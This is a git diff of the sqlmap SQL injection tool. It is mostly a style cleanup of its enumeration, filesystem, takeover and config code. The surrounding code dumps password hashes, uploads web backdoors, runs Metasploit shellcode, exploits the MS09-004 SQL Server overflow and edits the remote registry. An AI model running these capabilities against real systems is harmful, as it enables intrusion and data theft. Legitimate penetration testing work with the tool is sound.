kb.bannerFp: return @@ -100,7 +95,6 @@ class Enumeration: kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False) kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "") - def getBanner(self): if not conf.getBanner: return @@ -131,7 +125,6 @@ class Enumeration: return kb.data.banner - def getCurrentUser(self): infoMsg = "fetching current user" logger.info(infoMsg) @@ -143,7 +136,6 @@ class Enumeration: return kb.data.currentUser - def getCurrentDb(self): infoMsg = "fetching current database" logger.info(infoMsg) @@ -155,7 +147,6 @@ class Enumeration: return kb.data.currentDb - def isDba(self): infoMsg = "testing if current user is DBA" logger.info(infoMsg) @@ -166,7 +157,6 @@ class Enumeration: return kb.data.isDba == "1" - def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) @@ -218,7 +208,6 @@ class Enumeration: return kb.data.cachedUsers - def getPasswordHashes(self): infoMsg = "fetching database users password hashes" @@ -340,7 +329,6 @@ class Enumeration: return kb.data.cachedUsersPasswords - def __isAdminFromPrivileges(self, privileges): # In PostgreSQL the usesuper privilege means that the # user is DBA @@ -360,7 +348,6 @@ class Enumeration: return dbaCondition - def getPrivileges(self): infoMsg = "fetching database users privileges" @@ -627,7 +614,6 @@ class Enumeration: return ( kb.data.cachedUsersPrivileges, areAdmins ) - def getDbs(self): if kb.dbms == "MySQL" and not kb.data.has_information_schema: warnMsg = "information_schema not available, " @@ -682,7 +668,6 @@ class Enumeration: return kb.data.cachedDbs - def getTables(self): if kb.dbms == "MySQL" and not kb.data.has_information_schema: errMsg = "information_schema not available, " @@ -777,7 +762,6 @@ class Enumeration: return kb.data.cachedTables - def getColumns(self, onlyColNames=False): if kb.dbms == "MySQL" and not kb.data.has_information_schema: errMsg = "information_schema not available, " @@ -897,7 +881,6 @@ class Enumeration: return kb.data.cachedColumns - def dumpTable(self): if not conf.tbl: errMsg = "missing table parameter" @@ -1067,7 +1050,6 @@ class Enumeration: return kb.data.dumpedTable - def dumpAll(self): if kb.dbms == "MySQL" and not kb.data.has_information_schema: errMsg = "information_schema not available, " @@ -1093,7 +1075,6 @@ class Enumeration: if data: dumper.dbTableValues(data) - def sqlQuery(self, query): output = None sqlType = None @@ -1119,10 +1100,10 @@ class Enumeration: else: query = urlencode(query, convall=True) - if kb.stackedTest == None: + if kb.stackedTest is None: stackedTest() - if kb.stackedTest == False: + if not kb.stackedTest: return None else: if sqlType: @@ -1140,7 +1121,6 @@ class Enumeration: return output - def sqlShell(self): infoMsg = "calling %s shell. To quit type " % kb.dbms infoMsg += "'x' or 'q' and press ENTER" @@ -1174,7 +1154,7 @@ class Enumeration: if output and output != "Quit": dumper.string(query, output) - elif output == False: + elif not output: pass elif output != "Quit": diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index f130573b7..0d3677fa0 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import binascii import os @@ -46,13 +44,11 @@ class Filesystem: self.fileTblName = "sqlmapfile" self.tblField = "data" - def __unbase64String(self, base64Str): unbase64Str = "%s\n" % base64Str.decode("base64") return unbase64Str - def __unhexString(self, hexStr): if len(hexStr) % 2 != 0: errMsg = "for some reasons sqlmap retrieved an odd-length " @@ -64,7 +60,6 @@ class Filesystem: return binascii.unhexlify(hexStr) - def __binDataToScr(self, binaryData, chunkName): """ Called by Microsoft SQL Server plugin to write a binary file on the @@ -101,7 +96,6 @@ class Filesystem: return fileLines - def __checkWrittenFile(self, wFile, dFile, fileType): if kb.dbms == "MySQL": lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile @@ -110,10 +104,10 @@ class Filesystem: lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid elif kb.dbms == "Microsoft SQL Server": - self.createSupportTbl(self.fileTblName, self.tblField, "text") + self.createSupportTbl(self.fileTblName, self.tblField, "text") # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10))) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10))) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) @@ -141,7 +135,6 @@ class Filesystem: warnMsg += "privileges in the destination path" logger.warn(warnMsg) - def fileToSqlQueries(self, fcEncodedList): """ Called by MySQL and PostgreSQL plugins to write a file on the @@ -162,7 +155,6 @@ class Filesystem: return sqlQueries - def fileEncode(self, fileName, encoding, single): """ Called by MySQL and PostgreSQL plugins to write a file on the @@ -170,10 +162,10 @@ class Filesystem: """ fcEncodedList = [] - fp = open(fileName, "rb") + fp = open(fileName, "rb") fcEncodedStr = fp.read().encode(encoding).replace("\n", "") - if single == False: + if not single: fcLength = len(fcEncodedStr) if fcLength > 1024: @@ -200,7 +192,6 @@ class Filesystem: return fcEncodedList - def updateBinChunk(self, binaryData, tmpPath): """ Called by Microsoft SQL Server plugin to write a binary file on the @@ -250,17 +241,15 @@ class Filesystem: return chunkName - def askCheckWrittenFile(self, wFile, dFile, fileType): - message = "do you want confirmation that the file '%s' " % dFile - message += "has been successfully written on the back-end DBMS " + message = "do you want confirmation that the file '%s' " % dFile + message += "has been successfully written on the back-end DBMS " message += "file system? [Y/n] " output = readInput(message, default="Y") if not output or output in ("y", "Y"): self.__checkWrittenFile(wFile, dFile, fileType) - def readFile(self, rFile): fileContent = None @@ -268,7 +257,7 @@ class Filesystem: self.checkDbmsOs() - if kb.stackedTest == False: + if not kb.stackedTest: debugMsg = "going to read the file with UNION query SQL " debugMsg += "injection technique" logger.debug(debugMsg) @@ -308,13 +297,12 @@ class Filesystem: return rFilePath - def writeFile(self, wFile, dFile, fileType=None, confirm=True): stackedTest() self.checkDbmsOs() - if kb.stackedTest == False: + if not kb.stackedTest: debugMsg = "going to upload the %s file with " % fileType debugMsg += "UNION query SQL injection technique" logger.debug(debugMsg) diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index cbd62c05d..d861031f3 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.exception import sqlmapUndefinedMethod - class Fingerprint: """ This class defines generic fingerprint functionalities for plugins. @@ -38,20 +35,17 @@ class Fingerprint: errMsg += "into the specific DBMS plugin" raise sqlmapUndefinedMethod, errMsg - @staticmethod def escape(expression): errMsg = "'escape' method must be defined " errMsg += "into the specific DBMS plugin" raise sqlmapUndefinedMethod, errMsg - def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " errMsg += "into the specific DBMS plugin" raise sqlmapUndefinedMethod, errMsg - def checkDbms(self): errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index e7c2d9509..f461651da 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - -import re import os +import re from lib.core.common import readInput from lib.core.data import conf @@ -72,12 +70,11 @@ class Miscellaneous: setRemoteTempPath() - def delRemoteFile(self, tempFile, doubleslash=False): self.checkDbmsOs() if kb.os == "Windows": - if doubleslash is True: + if doubleslash: tempFile = tempFile.replace("/", "\\\\") else: tempFile = tempFile.replace("/", "\\") @@ -88,11 +85,9 @@ class Miscellaneous: self.execCmd(cmd, forgeCmd=True) - - def createSupportTbl(self, tblName, tblField, tblType): - inject.goStacked("DROP TABLE %s" % tblName) - inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) - + def createSupportTbl(self, tblName, tblField, tblType): + inject.goStacked("DROP TABLE %s" % tblName) + inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) def cleanup(self, onlyFileTbl=False, udfDict=None): """ @@ -101,7 +96,7 @@ class Miscellaneous: stackedTest() - if kb.stackedTest == False: + if not kb.stackedTest: return if kb.os == "Windows": @@ -113,16 +108,16 @@ class Miscellaneous: else: libtype = "shared library" - if onlyFileTbl == True: + if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") - logger.debug("removing support tables") - inject.goStacked("DROP TABLE %s" % self.fileTblName) + logger.debug("removing support tables") + inject.goStacked("DROP TABLE %s" % self.fileTblName) - if onlyFileTbl == False: - inject.goStacked("DROP TABLE %s" % self.cmdTblName) + if not onlyFileTbl: + inject.goStacked("DROP TABLE %s" % self.cmdTblName) if kb.dbms == "Microsoft SQL Server": return @@ -131,7 +126,7 @@ class Miscellaneous: udfDict = self.sysUdfs for udf, inpRet in udfDict.items(): - message = "do you want to remove UDF '%s'? [Y/n] " % udf + message = "do you want to remove UDF '%s'? [Y/n] " % udf output = readInput(message, default="Y") if not output or output in ("y", "Y"): @@ -141,8 +136,8 @@ class Miscellaneous: inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp - logger.debug("removing UDF '%s'" % udf) - inject.goStacked(dropStr) + logger.debug("removing UDF '%s'" % udf) + inject.goStacked(dropStr) logger.info("database management system cleanup finished") @@ -153,5 +148,5 @@ class Miscellaneous: warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " - warnMsg += "manually" + warnMsg += "manually" logger.warn(warnMsg) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 42a3321e2..3af05252a 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import re @@ -59,7 +57,6 @@ class Takeover(Abstraction, Metasploit, Registry): Abstraction.__init__(self) - def __webBackdoorRunCmd(self, backdoorUrl, cmd): output = None @@ -77,7 +74,6 @@ class Takeover(Abstraction, Metasploit, Registry): return output - def __webBackdoorShell(self, backdoorUrl): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" @@ -106,8 +102,7 @@ class Takeover(Abstraction, Metasploit, Registry): if command.lower() in ( "x", "q", "exit", "quit" ): break - self.__webBackdoorRunCmd(backdoorUrl, command) - + self.__webBackdoorRunCmd(backdoorUrl, command) def __webBackdoorInit(self): """ @@ -138,23 +133,16 @@ class Takeover(Abstraction, Metasploit, Registry): if not choice or choice == "2": language = "php" - break elif choice == "1": language = "asp" - break elif choice == "3": - # TODO: add also JSP backdoor/uploader support errMsg = "JSP web backdoor functionality is not yet " errMsg += "implemented" - raise sqlmapUnsupportedDBMSException, errMsg - - #language = "jsp" - - #break + raise sqlmapUnsupportedDBMSException(errMsg) elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") @@ -226,7 +214,6 @@ class Takeover(Abstraction, Metasploit, Registry): continue elif language == "jsp": - # TODO: add also JSP backdoor/uploader support pass backdoorUrl = "%s/%s" % (baseUrl, backdoorName) @@ -240,7 +227,6 @@ class Takeover(Abstraction, Metasploit, Registry): return backdoorUrl - def uploadChurrasco(self): msg = "do you want sqlmap to upload Churrasco and call the " msg += "Metasploit payload stager as its argument so that it " @@ -249,7 +235,6 @@ class Takeover(Abstraction, Metasploit, Registry): output = readInput(msg, default="Y") if not output or output[0] in ( "y", "Y" ): - # TODO: add also compiled/packed Churrasco for Windows 2008 wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe") self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True)) @@ -261,11 +246,10 @@ class Takeover(Abstraction, Metasploit, Registry): else: return False - def osCmd(self): stackedTest() - if kb.stackedTest == False: + if not kb.stackedTest: infoMsg = "going to upload a web page backdoor for command " infoMsg += "execution" logger.info(infoMsg) @@ -278,11 +262,10 @@ class Takeover(Abstraction, Metasploit, Registry): self.initEnv() self.runCmd(conf.osCmd) - def osShell(self): stackedTest() - if kb.stackedTest == False: + if not kb.stackedTest: infoMsg = "going to upload a web page backdoor for command " infoMsg += "execution" logger.info(infoMsg) @@ -295,11 +278,10 @@ class Takeover(Abstraction, Metasploit, Registry): self.initEnv() self.absOsShell() - def osPwn(self): stackedTest() - if kb.stackedTest == False: + if not kb.stackedTest: return self.initEnv() @@ -330,7 +312,7 @@ class Takeover(Abstraction, Metasploit, Registry): if choice == 1: goUdf = True - if goUdf is True: + if goUdf: self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") else: self.createMsfPayloadStager() @@ -359,7 +341,7 @@ class Takeover(Abstraction, Metasploit, Registry): uploaded = self.uploadChurrasco() - if uploaded == False: + if not uploaded: warnMsg = "beware that the privilege escalation " warnMsg += "might not work" logger.warn(warnMsg) @@ -371,7 +353,6 @@ class Takeover(Abstraction, Metasploit, Registry): self.pwn(goUdf) - def osSmb(self): stackedTest() @@ -381,14 +362,14 @@ class Takeover(Abstraction, Metasploit, Registry): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" - raise sqlmapUnsupportedDBMSException, errMsg + raise sqlmapUnsupportedDBMSException(errMsg) - if kb.stackedTest == False: + if not kb.stackedTest: if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" - raise sqlmapUnsupportedDBMSException, errMsg + raise sqlmapUnsupportedDBMSException(errMsg) elif kb.dbms == "MySQL": debugMsg = "since stacked queries are not supported, " @@ -419,16 +400,15 @@ class Takeover(Abstraction, Metasploit, Registry): else: printWarn = False - if printWarn == True: + if printWarn: logger.warn(warnMsg) self.smb() - def osBof(self): stackedTest() - if kb.stackedTest == False: + if not kb.stackedTest: return if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ): @@ -436,7 +416,7 @@ class Takeover(Abstraction, Metasploit, Registry): errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" - raise sqlmapUnsupportedDBMSException, errMsg + raise sqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0] infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " @@ -448,11 +428,10 @@ class Takeover(Abstraction, Metasploit, Registry): self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof() - def __regInit(self): stackedTest() - if kb.stackedTest == False: + if not kb.stackedTest: return self.checkDbmsOs() @@ -460,12 +439,11 @@ class Takeover(Abstraction, Metasploit, Registry): if kb.os != "Windows": errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" - raise sqlmapUnsupportedDBMSException, errMsg + raise sqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath() - def regRead(self): self.__regInit() @@ -488,7 +466,6 @@ class Takeover(Abstraction, Metasploit, Registry): return self.readRegKey(regKey, regVal, False) - def regAdd(self): self.__regInit() @@ -499,7 +476,7 @@ class Takeover(Abstraction, Metasploit, Registry): regKey = readInput(msg) if not regKey: - raise sqlmapMissingMandatoryOptionException, errMsg + raise sqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey @@ -508,7 +485,7 @@ class Takeover(Abstraction, Metasploit, Registry): regVal = readInput(msg) if not regVal: - raise sqlmapMissingMandatoryOptionException, errMsg + raise sqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal @@ -517,7 +494,7 @@ class Takeover(Abstraction, Metasploit, Registry): regData = readInput(msg) if not regData: - raise sqlmapMissingMandatoryOptionException, errMsg + raise sqlmapMissingMandatoryOptionException(errMsg) else: regData = conf.regData @@ -537,7 +514,6 @@ class Takeover(Abstraction, Metasploit, Registry): self.addRegKey(regKey, regVal, regType, regData) - def regDel(self): self.__regInit() @@ -548,7 +524,7 @@ class Takeover(Abstraction, Metasploit, Registry): regKey = readInput(msg) if not regKey: - raise sqlmapMissingMandatoryOptionException, errMsg + raise sqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey @@ -557,7 +533,7 @@ class Takeover(Abstraction, Metasploit, Registry): regVal = readInput(msg) if not regVal: - raise sqlmapMissingMandatoryOptionException, errMsg + raise sqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal diff --git a/sqlmap.conf b/sqlmap.conf index 46298aa49..a54abfc11 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -32,9 +32,9 @@ data = # HTTP Cookie header. cookie = -# HTTP Referer header. Useful to fake the HTTP Referer header value at -# each HTTP request. -referer = +# Ignore Set-Cookie header from response +# Valid: True or False +dropSetCookie = False # HTTP User-Agent header. Useful to fake the HTTP User-Agent header value # at each HTTP request @@ -45,6 +45,10 @@ agent = # Example: ./txt/user-agents.txt userAgentsFile = +# HTTP Referer header. Useful to fake the HTTP Referer header value at +# each HTTP request. +referer = + # Extra HTTP headers # Note: There must be a space at the beginning of each header line. headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 @@ -372,11 +376,31 @@ regType = [Miscellaneous] +# Save and resume all data retrieved on a session file. +sessionFile = + # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False eta = False +# Use google dork results from specified page number +# Valid: integer +# Default: 1 +googlePage = 1 + +# Update sqlmap to the latest stable version. +# Valid: True or False +updateAll = False + +# Never ask for user input, use the default behaviour. +# Valid: True or False +batch = False + +# Clean up the DBMS by sqlmap specific UDF and tables +# Valid: True or False +cleanup = False + # Verbosity level. # Valid: integer between 0 and 5 # 0: Show only warning and error messages @@ -386,19 +410,4 @@ eta = False # 4: Show also HTTP responses headers # 5: Show also HTTP responses page content # Default: 1 -verbose = 1 - -# Update sqlmap to the latest stable version. -# Valid: True or False -updateAll = False - -# Save and resume all data retrieved on a session file. -sessionFile = - -# Never ask for user input, use the default behaviour. -# Valid: True or False -batch = False - -# Clean up the DBMS by sqlmap specific UDF and tables -# Valid: True or False -cleanup = False +verbose = 1 \ No newline at end of file diff --git a/sqlmap.py b/sqlmap.py index 923ef678e..129dc56b9 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import sys import time import traceback import warnings -warnings.filterwarnings(action="ignore", message=".*(md5|sha) module is deprecated", category=DeprecationWarning) +warnings.filterwarnings(action = "ignore", message = ".*(md5|sha) module is deprecated", category = DeprecationWarning) try: import psyco @@ -51,7 +49,6 @@ from lib.core.exception import unhandledException from lib.core.option import init from lib.parse.cmdline import cmdLineParser - def modulePath(): """ This will get us the program's directory, even if we are frozen @@ -63,7 +60,6 @@ def modulePath(): else: return os.path.dirname(os.path.realpath(__file__)) - def main(): """ Main function of sqlmap when running from command line. @@ -103,6 +99,5 @@ def main(): print "\n[*] shutting down at: %s\n" % time.strftime("%X") - if __name__ == "__main__": main()